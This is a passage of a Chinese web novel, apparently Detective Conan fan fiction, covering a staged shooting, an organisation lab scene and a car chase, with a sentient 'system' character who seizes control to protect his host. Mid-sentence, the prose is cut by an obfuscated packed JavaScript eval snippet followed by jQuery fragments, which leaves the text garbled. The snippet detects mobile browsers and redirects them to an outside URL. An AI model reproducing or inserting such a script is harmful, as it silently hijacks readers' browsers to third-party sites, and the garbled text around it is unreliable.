晚冬玖微微动唇,却没有发出声音,只是用那双深邃的眼睛注视着晚冬梧。


    晚冬梧读懂了他的眼神——你居然想让系统主动伤害宿主,何其丧心病狂!


    他目光微微躲闪,忽然,一道人影从山坡上滑下,溅起一片泥水。


    “景哥,你也来了!”晚冬梧的声音里带着一丝惊喜。


    来人正是伪装成晚冬景的诸伏景光。他手中握着一把狙击枪,目光温和,方才的杀伐之气在见到晚冬梧的瞬间消失得无影无踪。


    “快,景哥,照着我胸口来一枪!”晚冬梧依旧一副满不在乎的模样,仿佛在说一件再平常不过的事。


    “小梧的计划又是什么?”诸伏景光在耳麦中早已听到他与晚冬玖的对话,察觉到局势有变,便立刻现身。即使心中极不愿让晚冬梧继续留在那个危险的组织,他还是耐下性子,给足了对方解释的机会。


    晚冬梧还在思索措辞,诸伏景光却已迅速走到副驾驶位,戴上手套,小心翼翼地从野格的口袋里取出那枚小小的U盘,同时动手将现场布置得更加凌乱。


    “组织的Boss与乌丸莲耶有关,或者说……他可能就是乌丸莲耶。”晚冬梧简要交代了自己的经历,“我会留下来,时刻关注他们的研究动向,顺便想办法从内部击破。”


    “可这会非常危险。”诸伏景光抬眸,眼神陡然凌厉,“私自行动的事,我还没跟你算账。”


    雨水哗啦啦地砸在车顶,几人浑身湿透,发丝不住地往下滴水,狼狈不堪。


    然而,他们的对话却丝毫不受影响,仿佛外界的风雨与他们无关。


    晚冬梧抬手抹了一把脸上的雨水,语气笃定:“放心吧,我不会有事。别忘了我是谁。更何况,如今野格已死,能够完成那个人实验的,只剩下我一个了。”


    两人对视良久,直到耳麦中传来车辆接近的警报声,诸伏景光才缓缓松口:“注意安全。”


    话音落下,他端起狙击枪,语气冷静而冰冷:“忍着些,为了不让你被怀疑,只能让你受些罪。”


    其他人都是一枪毙命,若晚冬梧只是轻伤,势必会引起怀疑,甚至招来严刑逼供。唯有命悬一线,才是最好的掩护……除此之外,还必须设法掩饰他与另外三人之间的死亡时间差。


    晚冬玖明白,事情已成定局。他缓缓后退几步,将现场留给诸伏景光与晚冬梧。


    “砰——砰——砰——”


    三声枪响,震得晚冬玖整个人都麻木了,血花在他眼前再次绽放。


    只是这一次,不同于几分钟前的那一幕——他仿佛感同身受。


    宿主……


    晚冬玖怔怔地看着这一幕,几乎想要冲上去代替晚冬梧承受这一切,但理智死死拽住了他,让他只能站在原地。


    晚冬梧再次醒来时,他正躺在一张冰冷的白色硬床上。他想尝试坐起身,可身上的一阵刺痛却阻止了他。


    “别动,刚把子弹取出来,伤口还没有愈合。”晚冬梧侧身,只看到一个穿着白大褂,戴着口罩的医生正给他调整输液速度。


    “请问这里是哪里?”


    “不该知道的别问。”


    晚冬梧闭嘴,他深知一个道理——得罪谁都不能得罪医生,尤其是这种在非法企业任职的医生,他虽然不会让你死,但会让你痛不欲生。


    见晚冬梧神智清明,医生继续开口:“你昏迷了两天,现在是11:27,下午boss希望你可以出现在实验室。”


    晚冬梧脸上的笑容瞬间消失,他眼睛微微睁大,就连身子也抬高了几分,“我现在连起身都很困难!”压榨病号!黑心企业!


    医生转头看了晚冬梧一眼,眼里带着些许同为打工人的怜悯,但很快便消失无影,只余下冷漠的疏离:“床可以移动。”


    “……boss的意思?”晚冬梧不死心地继续追问。


    医生没有言语,只是用眼神警告了晚冬梧。


    晚冬梧沉默。


    三个小时后,抗争不过的他被推入了实验室。


    实验室内有三个人,皆是在之前实验室干活的人。他们站成一排,即使晚冬梧进入实验室的姿态如此清奇,却也没有一人有所动容。


    而实验室内的布置则与之前的一模一样,只是有一个小小的区别——那盛放系统碎片的容器不见了。


    一名研究员似乎看出了晚冬梧的疑惑,他开口解释:“特殊物质已被封存,目前您能够使用的,只有其中20毫升的提取液。”


    晚冬梧点头,他穿着一身病号服,靠在病床的床头,努力维持着严肃的表情。


    诸伏景光那三枪分别打在了胸口、左手与右腿,这让他整个人的活动都有所不便。但不知是幸运还是不幸,右腿上的伤似乎刺激到了神经,使他微微感受到了点右腿的知觉。


    在晚冬梧将实验工作分配下去后,门外传来高跟鞋的踢踏声,随即门被推开,金发女性的进入实验室。


    来人正是贝尔摩德。


    她扫视了一圈,目光最终定格在晚冬梧身上,“是不是该恭喜你,逃过了琴酒的审讯?”


    晚冬梧没有享受到大明星的以礼相待,他只感受到了大明星的阴阳怪气。


    “贝尔摩德,你来做什么?”


    “我只是来告诉你一声,”贝尔摩德走上前来,俯身凑到晚冬梧耳边,动作暧昧,可说出的话语却不带丝毫温情,“灰雁已死。”


    时间退回到两天前,晚冬梧陷入昏迷后。


    即使之后晚冬玖与诸伏景光迅速撤离,可却还是被赶来的琴酒看到了背影。除此之外,赶来的还有一名代号成员——波本。


    一黑一白两辆车如同猎犬般,死死咬住前方那辆暗蓝色的车,紧追不舍。


    暗蓝色车的副驾驶上,晚冬玖抿着唇,目光却并未聚焦在眼前的追车场面,而是沉浸在纷乱的思绪中,仿佛与外界隔绝。


    诸伏景光将油门踩到底,车速早已远超限速。前方出现一个急弯,但无论是他们,还是身后两辆追兵,都没有丝毫减速的意思。


    “景景,我不想让他一个人待在那里……太危险了,我想做点什么。”


    晚冬玖——或者说小青鸾,在出生后不久便因肉身死亡而成为系统


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108193|188290||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。晚冬梧是他的第一任宿主,也是唯一的一位。他们之间的感情,早已深入骨髓。


    在来到这个世界之前,他一直生活在晚冬梧的脑海中,从未分离。他习惯了事事与晚冬梧同行,从未像现在这样,只能眼睁睁看着对方踏入危险的巢穴,而自己却无能为力。这种无力感,让他心口发闷,几乎喘不过气。


    [萩萩,我可以做什么?]


    晚冬玖同时向两个人发出了疑问。


    这段时间的晚冬玖,让萩原研二有种“吾家有儿初长成”的复杂心情——既有欣慰,也有失落。孩子长大了,却也有了更多心事。


    这几日,诸伏景光带着晚冬玖依靠感应,一点一点缩小范围,终于找到了这里。之后,他们与降谷等人合作制造爆炸案:降谷选定地点,阵平控制爆炸的范围与力度,晚冬玖负责实地安装与操控。几人尽力将危害降到最低,同时不引起组织的怀疑,甚至连事后可能的追击,也有降谷兜底。


    一切都很顺利——除了晚冬梧自己拒绝离开。


    若是在场的是小阵平,估计会直接把晚冬梧绑走。可惜他不在,现场只有作为“摆件”的萩原研二、对晚冬梧言听计从的晚冬玖,以及极为溺爱孩子的诸伏景光。


    想到这里,萩原研二本想硬起心肠,直接打消晚冬玖可能产生的“叛逆”想法。可当他注意到晚冬玖那副难过到几乎要哭出来的表情时,心又软了。


    ——[小玖,不管你想做什么,一定要先保护好自己。]


    晚冬玖的眼睛瞬间亮了起来。下一刻,萩原研二便察觉到,原本由自己掌控的系统权限,已被晚冬玖重新接管,系统的算力正在全力运转。


    萩原研二心头一沉,预感不妙。


    果不其然,下一秒——


    “如果以灰雁的身份,加上手上这份资料的份量,能不能让安室先生获得进入研究所的权限?”


    萩原研二心头一滞,连诸伏景光掌控下平稳流畅的车都因这一句话而轻微漂移了一瞬。


    [小玖,你想做什么?]


    “萩原研二到底跟你说了什么!”在飙车只余,诸伏景光还不得不分神来应付晚冬玖离谱的话。


    “不行吗?”晚冬玖眨了眨眼,明明在计算中,这种情况是有一定可能性的……


    他犹豫片刻,又补充道:“那……如果再加上‘青鸟’更多的研究数据呢?”


    [不是这个问题啊,小玖!] 萩原研二烦躁地抓了抓头发,正思考如何打消晚冬玖的念头,却被另一句话打断。


    “……我的第一要务是听从干爹的安排;第二要务是保证干爹的安全,包括心理和身体。这一次,他只说了对自己的安排,却没有说需要我做什么。所以,我必须执行第二要务——确保干爹的安全。”


    晚冬玖说着,还轻轻点了点头,仿佛对自己的这番推理极为满意。


    而在耳坠中的萩原研二,立刻从系统核心中调出长达五百页的系统守则,通过关键词搜索,迅速找到了晚冬玖口中的“要务”——


    确实,如他所言。


    萩原研二眼前一黑。